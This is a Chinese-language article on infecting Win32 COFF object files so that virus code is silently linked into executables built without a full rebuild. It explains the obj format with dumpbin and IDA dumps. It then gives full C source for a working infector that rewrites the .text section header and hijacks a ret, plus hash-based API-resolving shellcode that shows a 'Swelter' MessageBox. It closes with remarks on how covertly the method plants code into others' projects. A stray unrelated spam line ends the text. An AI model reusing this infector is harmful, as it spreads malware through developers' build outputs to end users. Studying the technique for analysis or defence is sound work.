Win32 coff-obj文件感染技術研究
By nEINEI
[目錄]
[0x01] .簡介
[0x02] .感染思路
[0x03] .coff-obj格式
[0x04] .修改宿主數據
[0x05] .code
[0x06] .其它
[0x01] .簡介
本文介紹了如何感染win32平臺的coff-obj格式的文件。在沒有rebuild all情況下,被
感染coff-obj文件將被鏈接器從新合并到新文件當中,病毒代碼也就將寄宿于產生的EXE文
件中。
[0x02] .感染思路
可感染obj文件的病毒非常少,主要集中在感染DOS時期的com文件,最早的感染obj文件
的病毒是Stormbringer在1993年編寫的shifter。charme的blog上有關于這個的詳細分析
《感染OBJ文件》。在win32平臺下貌似還沒看到有感染coff-obj格式的病毒,下面將演示如
何去感染coff-obj文件的實現思路。
主要的想法,還是要獲得coff-obj文件中代碼執行的控制流程,但受coff-obj格式限制,
使得感染方式不可能像PE文件那樣靈活。但仍然可以用很多思路來突破感染這些瓶頸。
PE文件的主要感染思路 coff-obj
1 感染文件頭 頭部無可操作空間
2 修改EOP 沒有EOP的概念
3 添加新節 可以嘗試
4 EPO(入口模糊) 可以嘗試
5 hook 導入表 可以嘗試
6 PE捆綁 鏈接器執行會出問題
7 ... ...
這里采用比較穩妥的方式來獲得控制流程,就是重新構造一個cof-obj格式的.text段來
獲得控制流程,下面先看一下coff-obj的文件格式。
[0x03] .coff-obj格式
coff-obj 文件格式比較清晰,由文件頭+可選頭+段+數據+重定位+符號組成。對obj文
件來說是沒有可選頭的概念的,所以后面提到的coff-obj專指生成的目標文件格式,簡稱obj,
下面是要構造一個新的.text段的示意圖,實際段的排列和重定位的數據是混合的,此處僅是
為了方便描述,簡化處理了。
+--------------+
| FILEHDR |
+--------------+
| SECHDR1 | -----------\假設此處是原.text段,修改節數據使它指向新的添加數據
+--------------+ |
| SECHDR2 | |
+--------------+ |
| ... | |
+--------------+ |
| SECHDR N | |
+--------------+ |
| SECDATE | |
+--------------+ |
| LINE | |
+--------------+ |
| Symbol | |
+--------------+ |
| String | |
+--------------+ |
| new data | <----------.
+--------------+
下面使用一個簡單的c程序t_obj來詳細說明obj格式。
//----------------------------------------------------------------------
#include <stdio.h>
int main()
{
char *title = "hello world!";
printf(title);
}
//----------------------------------------------------------------------
cmd > dumpbin /all /disasm t_obj.obj
截取主要部分打印數據:
//-------------------------------- 文件頭 -------------------------------
FILE HEADER VALUES
14C machine (i386)
4 number of sections *** 重要的結構,這告訴我們這個obj文件有幾個段,而我們關心的就是.text段
4C6DF71D time date stamp
125 file pointer to symbol table
10 number of symbols
0 size of optional header
0 characteristics
//-------------------------------- .drectve段 -----------------------------
//----該段在obj文件被link過程中會被舍棄掉,主要提供給link的命令參數-------
SECTION HEADER #1
.drectve name
0 physical address
0 virtual address
26 size of raw data
B4 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
100A00 flags
Info
Remove
1 byte align
RAW DATA #1
00000000: 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4C 49 42 43 -defaultlib:LIBC
00000010: 20 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4F 4C 44 -defaultlib:OLD
00000020: 4E 41 4D 45 53 20 NAMES
Linker Directives
-----------------
-defaultlib:LIBC
-defaultlib:OLDNAMES
//-------------------------------- .text段 -----------------------------
SECTION HEADER #2
.text name
0 physical address
0 virtual address
10 size of raw data -----> 段長度,也就是實際編碼長度
DA file pointer to raw data -----> .text中代碼,相對文件頭部的偏移
EA file pointer to relocation table -----> 指向.text中需要重定位的數據指針
0 file pointer to line numbers
2 number of relocations -----> .text中代碼,需要被修正的重定位數量
0 number of line numbers
60501020 flags
Code
Communal; sym= _main
16 byte align
Execute Read
_main:
00000000: 68 00 00 00 00 push offset _main ---->此處偏移是0x00000000,還沒有被重定位
00000005: E8 00 00 00 00 call 0000000A ---->此處偏移是0x00000000,還沒有被重定位
0000000A: 59 pop ecx
0000000B: C3 ret
0000000C: 90 nop
0000000D: 90 nop
0000000E: 90 nop
0000000F: 90 nop
RAW DATA #2
00000000: 68 00 00 00 00 E8 00 00 00 00 59 C3 90 90 90 90 h.........Y.....
具體0x68,0xe8后面的值需要由編譯器來絕對。
//--------------------- .text段中的被修正的重定位表 --------------------
//最終代碼就是根據該表中的值給鏈接器提供信息做最后的重定位依據
RELOCATIONS #2
Symbol Symbol
Offset Type Applied To Index Name
-------- ---------------- ----------------- -------- ------
00000001 DIR32 00000000 D ??_C@_0N@NHHG@hello?5world?$CB?$AA@ (`string")
00000006 REL32 00000000 A _printf
這里說一下,重定位的類型有3類:
DIR32 ---> 直接重定位,多是字符串一類情況,需要有鏈接器最終定位具體的虛擬地址值
REL32 ---> 相對重定位,當前opcode,相對于要跳轉的函數的相對偏移值
DIR32NB ---> 供調試信息使用,與DIR32的區別是重定位值不包含可執行文件的默認加載地址
00000001,00000006表示相對.text代碼處要修正的位置偏移,也就是[]括起來的部分
00000000: 68 [00] 00 00 00 push offset _main
00000005: E8 [00] 00 00 00 call 0000000A
//-------------------------------- .data段 -----------------------------
SECTION HEADER #3
.data name
0 physical address
0 virtual address
D size of raw data
FE file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0301040 flags
Initialized Data
Communal; sym= "`string"" (??_C@_0N@NHHG@hello?5world?$CB?$AA@)
4 byte align
Read Write
RAW DATA #3
00000000: 68 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 hello world!.
數據的位置最后由鏈接器來定義。
//------------------------------------------------------------------------------
下面看一下t_obj.obj在IDA中的顯示情況:
.text:00000000 public _main
.text:00000000 _main proc near
.text:00000000 68 10 00 00 00 push offset ??_C@_0N@NHHG@hello?5world?$CB?$AA@ ; "hello world!"
.text:00000005 E8 16 00 00 00 call _printf
.text:0000000A 59 pop ecx
.text:0000000B C3 retn
.text:0000000B _main endp
IDA根據重定位表的格式,對.text段分別修正為0x10 ,0x16 兩個偏移。同時當你增加
.text coe大小時,鏈接器會自動調整.data的位置。
//------------------------------------------------------------------------------
最終生成的t_obj.EXE文件顯示情況
00401000 /$ 68 30704000 push t_obj.00407030 ; ASCII "hello world!"
00401005 |. E8 06000000 call t_obj.00401010
0040100A |. 59 pop ecx
0040100B \. C3 retn
字符串"hello world!" 被定位到了0x00407030
print 函數被定位到相對偏移0x05 + 0x6 = 0x0b 的位置,也即是虛擬地址為401010
此時我們知道,如果要修改obj文件的.text代碼是要注意的,要避免修改到重定位的部
分,否則你的代碼也會被鏈接器改寫。
[0x04] .修改宿主數據
1. 修改.text結構使其指向新加入的病毒代碼位置,下面是段的結構體類型:
typedef struct _sec_hdr
{
char c_name[8]; // 段名
unsigned long ul_v_size; // 虛擬大小
unsigned long ul_v_addr; // 虛擬地址
unsigned long ul_sec_size; // 段長度
unsigned long ul_sec_off; // 段數據偏移
unsigned long ul_rel_off; // 段重定位表偏移
unsigned long ul_lno_off; // 行號表偏移
unsigned short ul_num_rel; // 重定位表個數
unsigned short ul_num_ln; // 行號表長度
unsigned long ul_flags; // 段標識
}sec_hdr;
ul_sec_size --> 修改為原代碼的長度+病毒代碼長度+重定位表長度
ul_sec_off --> 指向文件末尾
2. 在分析中發現一個問題,如果把原.text的代碼拷貝到新的空間中而不拷貝重定位數
據,會導致鏈接器無法執行。生成的EXE文件也無法執行,因為那部分數據被病毒代碼填充,
鏈接器無法解析。
雖然.text 的代碼部分長度并不包括重定位部分長度,且包括指向段內重定位表偏移的
指針,鏈接器可以根據原有那個表進行重定位操作,但實際情況是,鏈接器會因為你的修改,
把原有數據重定位弄錯誤,在IDA中觀察是沒有問題的,但最終生成的EXE文件是完全混亂的。
所以我的一個猜測是段結構中的重定位偏移僅是提供給外部程序解析參考用的(如IDA,
dumpbin),而鏈接器只接受默認.text后面就是重定位表的事實。所以為了能執行成功,我
們還是把重定位部分拷貝過去,所以我們新增數據的長度是以上3部分的長度總和。
3. 修改原有代碼,使其跳向病毒代碼。
_main:
00000000: 68 00 00 00 00 push offset _main
00000005: E8 00 00 00 00 call 0000000A
0000000A: 59 pop ecx
0000000B: C3 ret ----------------\
0000000C: 90 nop |
0000000D: 90 nop |
0000000E: 90 nop |
0000000F: 90 nop |
... 注意此處是重定位表的數據,要跳過該部分長度 | |
|
000000xx: nop <----------------------------------/
000000xx: nop
000000xx: nop
...virus code
4. 返回原代碼部分
簡單的情況,可直接在病毒代碼中ret返回即可,宿主情況復雜的話,需要計算好偏移
重新跳回去。
5. 感染后的情況
SECTION HEADER #2
.text name
0 physical address
0 virtual address
D9 size of raw data ----> 長度已經被重新計算
26D file pointer to raw data ----> 指向了文件末尾
EA file pointer to relocation table ----> 沒有修改原有重定位表
0 file pointer to line numbers
2 number of relocations
0 number of line numbers
60501020 flags
Code
Communal; sym= _main
16 byte align
Execute Read
_main:
00000000: 68 00 00 00 00 push offset _main
00000005: E8 00 00 00 00 call 0000000A
0000000A: 59 pop ecx
0000000B: EB 1C jmp 00000029 -------------------\
0000000D: 00 00 add byte ptr [eax],al |
0000000F: 00 01 add byte ptr [ecx],al |
00000011: 00 00 add byte ptr [eax],al |
00000013: 00 0D 00 00 00 06 add byte ptr ds:[6000000h],cl |
00000019: 00 06 add byte ptr [esi],al |
0000001B: 00 00 add byte ptr [eax],al |
0000001D: 00 0A add byte ptr [edx],cl |
0000001F: 00 00 add byte ptr [eax],al |
00000021: 00 14 00 add byte ptr [eax+eax],dl |
00000024: 68 65 6C 6C 90 push 906C6C65h |
00000029: 90 nop <----------------------------------/ 跳向了我們想要執行的代碼
0000002A: 90 nop
0000002B: 90 nop
0000002C: 90 nop
0000002D: 90 nop
0000002E: 90 nop
0000002F: 90 nop
00000030: 90 nop
00000031: FC cld
00000032: 68 6A 0A 38 1E push 1E380A6Ah
00000037: 68 63 89 D1 4F push 4FD18963h
0000003C: 68 32 74 91 0C push 0C917432h
00000041: 8B F4 mov esi,esp
00000043: 8D 7E F4 lea edi,[esi-0Ch]
...
[0x05] .code
代碼演示的部分僅彈出一個MessageBox,我比較懶,所以偷懶用failwest的一個shellcode_popup_general
代碼(thx ^_^)稍作修改。
//------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <malloc.h>
void vir_code(void);
void vir_code_end(void);
int main(int argc, char* argv[])
{
FILE *h = 0;
unsigned char *buf = 0;
int numread = 0;
int i = 0;
int f_size = 0;
int vir_size = 0;
int a_size = 0;
int tx_off = 0;
// coff-obj 文件頭結構
typedef struct _coff_obj_header
{
short int magic;
short int sections;
long t_stamp;
long symbol_to_pointer;
long symbol_to_number;
short int optional_header;
short int flgs;
}coff_obj_header;
typedef struct _sec_hdr
{
char c_name[8]; // 段名
unsigned long ul_v_size; // 虛擬大小
unsigned long ul_v_addr; // 虛擬地址
unsigned long ul_sec_size; // 段長度
unsigned long ul_sec_off; // 段數據偏移
unsigned long ul_rel_off; // 段重定位表偏移
unsigned long ul_lno_off; // 行號表偏移
unsigned short ul_num_rel; // 重定位表個數
unsigned short ul_num_ln; // 行號表長度
unsigned long ul_flags; // 段標識
}sec_hdr;
typedef struct _reloc_s
{
unsigned long ul_off; // 定位偏移
unsigned long ul_symbol; // 符號
unsigned short us_type; // 定位類型
}reloc_s;
coff_obj_header coh_buf;
sec_hdr sh;
long tx_rel_off;
long tx_rel_len;
long txt_len;
long txt_off;
if (argc <2)
{
printf("please enter the obj file path to infection\n");
return 0;
}
if (0 == (h = fopen(argv[1],"r+")))
{
printf("the file %s was not opened\n",argv[2]);
return 0;
}
fseek(h,0,SEEK_END);
f_size = ftell(h);
fseek(h,0,SEEK_SET);
numread = fread(&coh_buf,sizeof (coff_obj_header),1,h);
for(i = 0 ; i < coh_buf.sections;i++)
{
fread(&sh,sizeof(sec_hdr),1,h);
if (0 == strnicmp(".text",sh.c_name,5))
{
tx_off = sizeof(coff_obj_header) + i * sizeof(sec_hdr);
txt_off = sh.ul_sec_off;
txt_len = sh.ul_sec_size;
//讀取重定位表數據
tx_rel_off = sh.ul_rel_off;
tx_rel_len = sh.ul_num_rel * sizeof(reloc_s);
break;
}
}
// 構造一個新的obj緩沖區
vir_size = (int)((int)&vir_code_end - (int)&vir_code);
a_size = f_size + vir_size + tx_rel_len + 1;
buf = (unsigned char *)malloc(a_size);
memset(buf,0,f_size + vir_size +1);
fseek(h,0,SEEK_SET);
fread(buf,sizeof(unsigned char),f_size,h);
fclose(h);
h = 0;
// 修改text節的執行
// 將原有.text數據定位的文件尾部
printf("buff + f_size :%0x\n",buf + f_size);
memcpy(buf + f_size,buf + txt_off,txt_len);
// copy重定位表
memcpy(buf + f_size + txt_len,buf + tx_rel_off,tx_rel_len);
// copy virus
memcpy(buf + f_size + txt_len + tx_rel_len,vir_code,vir_size);
// 修改.text節代碼偏移
//sh.ul_sec_size
(*(unsigned long *)(buf + tx_off + 8 + 4 + 4)) = txt_len + vir_size + 9;
//sh.ul_sec_off
(*(unsigned long *)(buf + tx_off + 8 + 4 + 4 + 4)) = f_size;
// 修改原有ret指令,跳過重定位表,此處需要反匯編引擎支持,搜索0xc3,定位要修改的jmp 位置,POC演示直接定位.
(*(unsigned char *)(buf + f_size + 0x0b)) = 0xeb;
(*(unsigned long *)(buf + f_size + 0x0c)) = (txt_len - 0xc) + tx_rel_len - 1;
// 加入ret指令返回,或跳轉會宿主
// ...
// 寫入一個新的obj
if(0 ==(h = fopen("t_obj.obj","wb")))
{
printf("the file t_obj.obj was not created\n");
return 0;
}
fwrite(buf,sizeof(unsigned char),a_size,h);
fclose(h);
return 1;
}
__declspec(naked) void vir_code(void)
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30]
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x1c]
mov ecx, [ecx]
mov ebp, [ecx + 0x08]
find_lib_functions:
lodsd
cmp eax, 0x1e380a6a
jne find_functions
xchg eax, ebp
call [edi - 0x8]
xchg eax, ebp
find_functions:
pushad
mov eax, [ebp + 0x3c]
mov ecx, [ebp + eax + 0x78]
add ecx, ebp
mov ebx, [ecx + 0x20]
add ebx, ebp
xor edi, edi
next_function_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp
cdq
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c]
jnz next_function_loop
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + 2 * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + 4 * edi]
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx // cut string
push 0x00726574 // show Win32.Swelter
push 0x6C657753
mov eax,esp //load address of Swelter
push ebx
push eax
push eax
push ebx
call [edi - 0x04] //call MessageboxA
push ebx
call [edi - 0x08] // call ExitProcess
ret
}
}
__declspec(naked) void vir_code_end(void)
{
}
//------------------------------------------------------------------------------
[0x06] .其它
關于感染的方式還有很多中方法,比如利用重定位表,構造一個加載后能跳轉到virus code
值,感興趣的朋友可以去嘗試下,coff - obj的感染條件比較苛刻,至少要在有編譯器的機
器上搜索到有obj才行,并且沒有做rebuild all 操作,而是直接編譯鏈接代碼,這樣才會神
不知鬼不覺的把病毒代碼編譯進自己的工程里面來。
由于對鏈接器原理理解不夠深入及對coff文件格式本身理解不準的地方可能導致本文存
在描述中存在疏漏,如果有什么問題給mail我,neineit@gmail.com,歡迎交流指正。
附參考文獻:
[1] Matt Pietrek. 《Linker Algorithm》
[2] John R. Levine. 《Linkers & Loaders》
[3] coff 格式. http://baike.baidu.com/view/1240794.htm
[4] failwest. 《shellcode_popup_general》
附件下載
-EOF-
亚洲欧美在线